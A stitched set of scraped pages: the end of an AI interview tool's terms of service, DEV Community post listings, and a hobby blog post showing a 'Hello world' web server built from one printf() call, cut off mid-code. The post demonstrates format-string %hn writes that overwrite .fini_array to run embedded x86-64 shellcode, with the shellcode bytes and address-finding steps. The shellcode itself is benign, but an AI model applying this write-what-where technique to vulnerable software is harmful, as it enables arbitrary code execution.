under these Terms or as otherwise required by applicable law, the parties undertake to maintain confidentiality as to the existence and events of the arbitration proceedings and as to all submissions, correspondence and evidence relating to the arbitration proceedings. This provision shall survive the termination of the arbitral proceedings. f.Section 11 To the extent that any court is required to weigh on the enforceability of Section 11, to enforce any judgment of the arbitrator, then, without limiting Section 11 or any other provision of these Terms, the User hereby irrevocably and unconditionally submit to the jurisdiction of the courts of the State of Delaware for such purpose; agrees not to commence any suit, action or other proceeding arising in connection with or based upon this instrument or the matters contemplated by this instrument except before the courts of the State of Delaware; hereby waives, and agrees not to assert, by way of motion, as a defense, or otherwise, in any such suit, action or proceeding, any claim that it is not subject personally to the jurisdiction of the above-named courts, that its property is exempt or immune from attachment or execution, that the suit, action or proceeding is brought in an inconvenient forum, that the venue of the suit, action or proceeding is improper or that this instrument or the subject matter hereof or thereof may not be enforced in or by such court. g.No Class Actions Permitted You hereby agree that any arbitration or other permitted action with respect to any dispute shall be conducted in their individual capacities only and not as a class action or other representative action, and expressly waive any right to file a class action or seek relief on a class basis. You may bring claims against us other only in your individual capacity, and not as a plaintiff or class member in any purported class or representative proceeding. If any court or arbitrator makes a final, binding and non-appealable determination that the class action waiver set forth in this section is void or unenforceable for any reason or that an arbitration can proceed on a class basis, then the arbitration provision set forth above shall be deemed null and void with respect to any dispute that would thus be required to be resolved by arbitration on a class basis, and the parties shall be deemed to have not agreed to arbitrate such dispute. In the event that, as a result of the application of the immediately preceding sentence or otherwise, any dispute is not subject to arbitration, the parties hereby agree to submit to the personal and exclusive jurisdiction of and venue of the courts in the state of delaware to accept service of process by mail with respect to such dispute, and hereby waive any and all jurisdictional and venue defenses otherwise available with respect to such dispute. 12.External Links The services may contain links to other third-party website and/or applications or otherwise re-direct you to other third-party website, applications (including meeting software) or services (collectively, the “linked websites”). The linked websites are not under our control and we are not responsible for any linked websites, including, but not limited to, any content contained in a linked websites or any changes or updates to the linked websites. The linked websites may require you to agree to additional terms and conditions between you and such third party. When you click on a link to linked websites, we will not warn you that you have left the services and are subject to the terms and conditions (including privacy policies, if and as applicable) of another website or destination. We are not responsible for any such terms and conditions or any damages you may incur by using the linked websites. Final round ai provides these linked websites only as a convenience and does not review, approve, monitor, endorse, warrant or make any representations with respect to the linked websites or their products or services. You use all links in the linked websites at your own risk. 13.Assignment These Terms and any rights and licenses granted hereunder, may not be transferred or assigned by you, but we may assign them without restriction. Any attempted transfer or assignment in violation hereof will be null and void. 14.Severability If any provision of the Terms is deemed invalid by a court of competent jurisdiction, the invalidity of such provision shall not affect the validity of the remaining provisions of the Terms, which shall remain in full force and effect. 15.Entire Agreement These Terms, together with any amendments and any additional agreements you may enter into with us in connection with the Services shall constitute the entire agreement between you and us concerning the Services. 16.Waivers No waiver of any term of the Terms shall be deemed a further or continuing waiver of such term or any other term, and our failure to assert any right or provision under the Terms shall not constitute a waiver of such right or provision. 17.Contact Information If you have any questions about these Terms, please contact us at 1000 Fulton St, San Francisco, CA 94117 or hi@finalroundai.com Company About Contact Us Referral Program More Products Interview Copilot AI Mock Interview AI Resume Builder More AI Tools Coding Interview Copilot AI Career Coach Resume Checker More Resources Blog Hirevue Interviews Phone Interviews More Refund Policy Privacy Policy Terms & Conditions Disclaimer: This platform provides guidance, resources, and support to enhance your job search. However, securing employment within 30 days depends on various factors beyond our control, including market conditions, individual effort, and employer decisions. We do not guarantee job placement within any specific timeframe. © 2025 Final Round AI, 188 King St, Unit 402 San Francisco, CA, 94107 | 2026-01-13T08:47:54 |
https://dev.to/t/interview | Interview - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # interview Follow Hide Create Post Older #interview posts 1 2 3 4 5 6 7 8 9 … 75 … 118 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Thinking in First Principles: How to Question an Async Queue–Based Design Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Thinking in First Principles: How to Question an Async Queue–Based Design # architecture # interview # learning # systemdesign Comments Add Comment 4 min read How to Identify System Design Problems from First Principles Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 How to Identify System Design Problems from First Principles # architecture # interview # systemdesign # tutorial Comments Add Comment 3 min read Coding Challenge Practice - Question 101 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Jan 13 Coding Challenge Practice - Question 101 # algorithms # devchallenge # interview # javascript Comments Add Comment 2 min read How to Write a Resume That Gets Interviews (Not Rejections) Resumemind Resumemind Resumemind Follow Jan 12 How to Write a Resume That Gets Interviews (Not Rejections) # career # interview # tutorial Comments Add Comment 3 min read SQL vs NoSQL: The Ultimate Interview Guide to Choosing the Right Database (Simple Checklist Included) sizan mahmud0 sizan mahmud0 sizan mahmud0 Follow Jan 12 SQL vs NoSQL: The Ultimate Interview Guide to Choosing the Right Database (Simple Checklist Included) # interview # sql # nosql # programming 1 reaction Comments Add Comment 4 min read Kubernetes Core • Pod Lifecycle & Health • Networking From DevOps Production & Interview Perspective Aisalkyn Aidarova Aisalkyn Aidarova Aisalkyn Aidarova Follow Jan 11 Kubernetes Core • Pod Lifecycle & Health • Networking From DevOps Production & Interview Perspective # devops # interview # kubernetes # networking 1 reaction Comments Add Comment 6 min read Polyfil - useReducer ZeeshanAli-0704 ZeeshanAli-0704 ZeeshanAli-0704 Follow Jan 11 Polyfil - useReducer # interview # tutorial # javascript # react Comments Add Comment 5 min read Building Interview prep ai Shashank Chakraborty Shashank Chakraborty Shashank Chakraborty Follow Jan 11 Building Interview prep ai # ai # interview # career # programming Comments Add Comment 3 min read Polyfill - call, apply & bind ZeeshanAli-0704 ZeeshanAli-0704 ZeeshanAli-0704 Follow Jan 11 Polyfill - call, apply & bind # javascript # interview Comments Add Comment 4 min read Week 4 Network Packet Tracing Challenge fosres fosres fosres Follow Jan 10 Week 4 Network Packet Tracing Challenge # security # networking # linux # interview Comments Add Comment 8 min read Coding Challenge Practice - Question 99 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Jan 10 Coding Challenge Practice - Question 99 # interview # tutorial # devchallenge # javascript Comments Add Comment 1 min read How Does @Async Work Internally in Spring Boot? realNameHidden realNameHidden realNameHidden Follow Jan 10 How Does @Async Work Internally in Spring Boot? # java # interview # spring # springboot 6 reactions Comments Add Comment 3 min read Coding Challenge Practice - Question 98 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Jan 9 Coding Challenge Practice - Question 98 # challenge # interview # javascript Comments Add Comment 2 min read 🚀 Cracking the Frontend System Design Interview: A Top-to-Bottom Guide Vishwark Vishwark Vishwark Follow Jan 9 🚀 Cracking the Frontend System Design Interview: A Top-to-Bottom Guide # frontendsystemdesign # frontend # systemdesign # interview Comments Add Comment 3 min read Two Pointers (Same Direction) Jayaprasanna Roddam Jayaprasanna Roddam Jayaprasanna Roddam Follow Jan 9 Two Pointers (Same Direction) # algorithms # computerscience # interview # performance Comments Add Comment 3 min read 🐧 Linux Process Management: Deep Dive Shivakumar Shivakumar Shivakumar Follow Jan 9 🐧 Linux Process Management: Deep Dive # devops # interview # linux # tutorial Comments Add Comment 4 min read Las 5 Estructuras de Datos que Dominarán tu Próxima Entrevista Técnica Grego Grego Grego Follow Jan 8 Las 5 Estructuras de Datos que Dominarán tu Próxima Entrevista Técnica # datastructures # interview # beginners # spanish Comments Add Comment 5 min read Coding Challenge Practice - Question 97 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Jan 8 Coding Challenge Practice - Question 97 # challenge # algorithms # interview # javascript Comments Add Comment 2 min read System Design Intro #Day-1 VINAY TEJA ARUKALA VINAY TEJA ARUKALA VINAY TEJA ARUKALA Follow Jan 9 System Design Intro #Day-1 # systemdesign # beginners # computerscience # interview Comments Add Comment 2 min read Interview Tomorrow? A 24-Hour Technical Interview Survival Plan Mahdi Eghbali Mahdi Eghbali Mahdi Eghbali Follow Jan 9 Interview Tomorrow? A 24-Hour Technical Interview Survival Plan # ai # career # careerdevelopment # interview 1 reaction Comments Add Comment 2 min read System Design : Calendar App Shalini Goyall Shalini Goyall Shalini Goyall Follow Jan 6 System Design : Calendar App # systemdesign # interview # softwareengineering # calendar Comments Add Comment 3 min read Your Backend Sends 200 OK Even When an Order Fails — How Do You Fix It in Apigee X? realNameHidden realNameHidden realNameHidden Follow Jan 5 Your Backend Sends 200 OK Even When an Order Fails — How Do You Fix It in Apigee X? # apigee # apigeex # gcp # interview 5 reactions Comments Add Comment 3 min read Day 0: Starting My DSA Journey Yash Yash Yash Follow Jan 5 Day 0: Starting My DSA Journey # challenge # algorithms # beginners # interview 1 reaction Comments Add Comment 1 min read Meta AI Interview Deep Dive: Invisible Thresholds from OA to Onsite net programhelp net programhelp net programhelp Follow Jan 5 Meta AI Interview Deep Dive: Invisible Thresholds from OA to Onsite # ai # career # interview Comments Add Comment 5 min read Google Calendar - Day View (HLD) Arghya Majumder Arghya Majumder Arghya Majumder Follow Jan 9 Google Calendar - Day View (HLD) # architecture # interview # systemdesign Comments Add Comment 29 min read loading... trending guides/resources JavaScript Scope & Closure: Stop Memorizing, Start Understanding Amazon Spring 2026 SDE Internship Interview Guide: OA Patterns & The Ultimate BQ Strategy Asyncio: Interview Questions and Practice Problems Don't get scammed on an interview. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Learning Follow Hide “I have no special talent. I am only passionately curious.” - Albert Einstein Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu I tried to capture system audio in the browser. Here's what I learned. Flo Flo Flo Follow Jan 12 I tried to capture system audio in the browser. Here's what I learned. # api # javascript # learning # webdev 5 reactions Comments Add Comment 2 min read Thinking in First Principles: How to Question an Async Queue–Based Design Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Thinking in First Principles: How to Question an Async Queue–Based Design # architecture # interview # learning # systemdesign Comments Add Comment 4 min read J'ai galéré pendant 3 semaines pour monter un cluster Kubernetes (et voilà ce que j'ai appris) BeardDemon BeardDemon BeardDemon Follow Jan 10 J'ai galéré pendant 3 semaines pour monter un cluster Kubernetes (et voilà ce que j'ai appris) # devops # kubernetes # learning Comments Add Comment 6 min read I built an interactive SHA-256 visualizer to finally understand how it works Jamal ER-RAKIBI Jamal ER-RAKIBI Jamal ER-RAKIBI Follow Jan 12 I built an interactive SHA-256 visualizer to finally understand how it works # showdev # algorithms # learning # security Comments Add Comment 1 min read My 2026 Roadmap: How I’m Future-Proofing My Fullstack Career in the Age of AI Aleksandr Fomin Aleksandr Fomin Aleksandr Fomin Follow Jan 12 My 2026 Roadmap: How I’m Future-Proofing My Fullstack Career in the Age of AI # ai # learning # career # careerdevelopment Comments Add Comment 4 min read The Features I Killed to Ship The 80 Percent App in 4 Weeks Malawige Inusha Thathsara Gunasekara Malawige Inusha Thathsara Gunasekara Malawige Inusha Thathsara Gunasekara Follow Jan 12 The Features I Killed to Ship The 80 Percent App in 4 Weeks # flutter # softwareengineering # devops # learning Comments Add Comment 4 min read I built an AI tutor to learn GeoGuessr-style visual geography (not a solver) TunaDev TunaDev TunaDev Follow Jan 12 I built an AI tutor to learn GeoGuessr-style visual geography (not a solver) # showdev # ai # learning # opensource Comments Add Comment 1 min read C#.NET - day 07 Sabin Sim Sabin Sim Sabin Sim Follow Jan 12 C#.NET - day 07 # programming # learning # csharp # career 1 reaction Comments Add Comment 3 min read My Journey Into Cybersecurity: A Beginner’s Guide The Duchess of Hackers The Duchess of Hackers The Duchess of Hackers Follow Jan 12 My Journey Into Cybersecurity: A Beginner’s Guide # cybersecurity # beginners # learning # mattermost 6 reactions Comments Add Comment 2 min read Why Learning Requires Patience Memory Rush Memory Rush Memory Rush Follow Jan 12 Why Learning Requires Patience # learning # mentalmodels # developers Comments Add Comment 3 min read Why I Build macOS Menu Bar Apps heocoi heocoi heocoi Follow Jan 12 Why I Build macOS Menu Bar Apps # beginners # learning 1 reaction Comments 1 comment 3 min read Multi-dimensional Arrays & Row-major Order: A Deep Dive ali ehab algmass ali ehab algmass ali ehab algmass Follow Jan 12 Multi-dimensional Arrays & Row-major Order: A Deep Dive # webdev # programming # computerscience # learning Comments Add Comment 5 min read I Thought I Understood Python Functions — Until One Line Returned None Emmimal Alexander Emmimal Alexander Emmimal Alexander Follow Jan 12 I Thought I Understood Python Functions — Until One Line Returned None # python # programming # learning # beginners Comments Add Comment 3 min read Inside Git: How It Works and the Role of the `.git` Folder Umar Hayat Umar Hayat Umar Hayat Follow Jan 12 Inside Git: How It Works and the Role of the `.git` Folder # git # beginners # tutorial # learning 1 reaction Comments Add Comment 4 min read CEED Mock Test Platform - Situation Report Ritik Jangir Ritik Jangir Ritik Jangir Follow Jan 12 CEED Mock Test Platform - Situation Report # webdev # sass # architecture # learning 1 reaction Comments Add Comment 2 min read Java Variables Kesavarthini Kesavarthini Kesavarthini Follow Jan 12 Java Variables # java # beginners # learning # programming Comments Add Comment 1 min read How Memory Organizes Information Memory Rush Memory Rush Memory Rush Follow Jan 12 How Memory Organizes Information # mentalmodels # learning # developers # development Comments Add Comment 3 min read I Built 97 Free Online Tools (and Games) While Learning to Ship Consistently Axonix Tools Axonix Tools Axonix Tools Follow Jan 12 I Built 97 Free Online Tools (and Games) While Learning to Ship Consistently # showdev # learning # productivity # webdev 3 reactions Comments 1 comment 2 min read An Introduction to Docker: Stop asking your stakeholders to install Postgres! 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https://forem.com/rgbos | Rashi - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Follow User actions Rashi Software engineer specializing in scalable, user-focused applications. Skilled in full-stack development and cloud technologies, with a passion for elegant, efficient solutions. Joined Joined on Sep 13, 2025 More info about @rgbos Badges Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Post 17 posts published Comment 0 comments written Tag 1 tag followed The Quiet Shift: Why My Browser Tab Now Stays on Gemini Rashi Rashi Rashi Follow Jan 12 The Quiet Shift: Why My Browser Tab Now Stays on Gemini # ai # chatgpt # gemini # productivity Comments Add Comment 3 min read The Danger of Letting AI Think for You Rashi Rashi Rashi Follow Dec 27 '25 The Danger of Letting AI Think for You # discuss # ai # productivity 1 reaction Comments Add Comment 2 min read Beyond the Chatbot: The AI Tools Defining 2026 Rashi Rashi Rashi Follow Dec 24 '25 Beyond the Chatbot: The AI Tools Defining 2026 # agents # ai # llm Comments Add Comment 3 min read Gemini Agents: Unlocking Transformative Potential with Google's Advanced AI Rashi Rashi Rashi Follow Oct 8 '25 Gemini Agents: Unlocking Transformative Potential with Google's Advanced AI # gemini # ai # webdev Comments Add Comment 3 min read Beyond Speed: Why Quality Code is as Critical as Efficiency in Software Development Rashi Rashi Rashi Follow Oct 8 '25 Beyond Speed: Why Quality Code is as Critical as Efficiency in Software Development # discuss # performance # softwareengineering 1 reaction Comments Add Comment 3 min read Mastering Modern Infrastructure: The Power of Cloud-Native and Serverless Architectures Rashi Rashi Rashi Follow Oct 8 '25 Mastering Modern Infrastructure: The Power of Cloud-Native and Serverless Architectures # cloudnative # microservices # containers # serverless Comments Add Comment 3 min read The Next Shift in Development: From Coding to AI Orchestration Rashi Rashi Rashi Follow Oct 2 '25 The Next Shift in Development: From Coding to AI Orchestration # ai # career # softwaredevelopment Comments Add Comment 2 min read Mastering EF Core Pagination: Efficient Data Retrieval Rashi Rashi Rashi Follow Oct 1 '25 Mastering EF Core Pagination: Efficient Data Retrieval # database # performance # dotnet # csharp 2 reactions Comments Add Comment 3 min read Tableau vs. Power BI: A Professional Comparison for Data Professionals Rashi Rashi Rashi Follow Oct 1 '25 Tableau vs. Power BI: A Professional Comparison for Data Professionals # datascience # learning # tools Comments Add Comment 4 min read Mastering Prompt Engineering: Unlocking the Full Potential of AI Rashi Rashi Rashi Follow Sep 29 '25 Mastering Prompt Engineering: Unlocking the Full Potential of AI # ai # productivity Comments Add Comment 3 min read Navigating the AI Revolution: Coping with Job Stress and Uncertainty Rashi Rashi Rashi Follow Sep 29 '25 Navigating the AI Revolution: Coping with Job Stress and Uncertainty # discuss # ai # career Comments Add Comment 3 min read SQL Query optimization techniques Rashi Rashi Rashi Follow Sep 29 '25 SQL Query optimization techniques # database # tutorial # performance # sql Comments Add Comment 3 min read Progressive Web Apps: Bringing App-like Experiences to the Web Rashi Rashi Rashi Follow Sep 29 '25 Progressive Web Apps: Bringing App-like Experiences to the Web # mobile # performance # javascript # webdev 1 reaction Comments Add Comment 2 min read Green Software Development: Building for Efficiency and Sustainability Rashi Rashi Rashi Follow Sep 29 '25 Green Software Development: Building for Efficiency and Sustainability # architecture # performance # softwaredevelopment 5 reactions Comments 1 comment 1 min read Your New Pair Programmer: The AI Assistant Rashi Rashi Rashi Follow Sep 28 '25 Your New Pair Programmer: The AI Assistant # programming # productivity # tooling # ai 1 reaction Comments Add Comment 3 min read First() and FirstOrDefaut Rashi Rashi Rashi Follow Sep 23 '25 First() and FirstOrDefaut # csharp # tutorial # beginners # dotnet Comments Add Comment 3 min read From Digital Art to Automation: My Journey Building ListGenie Rashi Rashi Rashi Follow Sep 15 '25 From Digital Art to Automation: My Journey Building ListGenie # kiro # ai # webdev # kirodotdev Comments Add Comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23511#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, 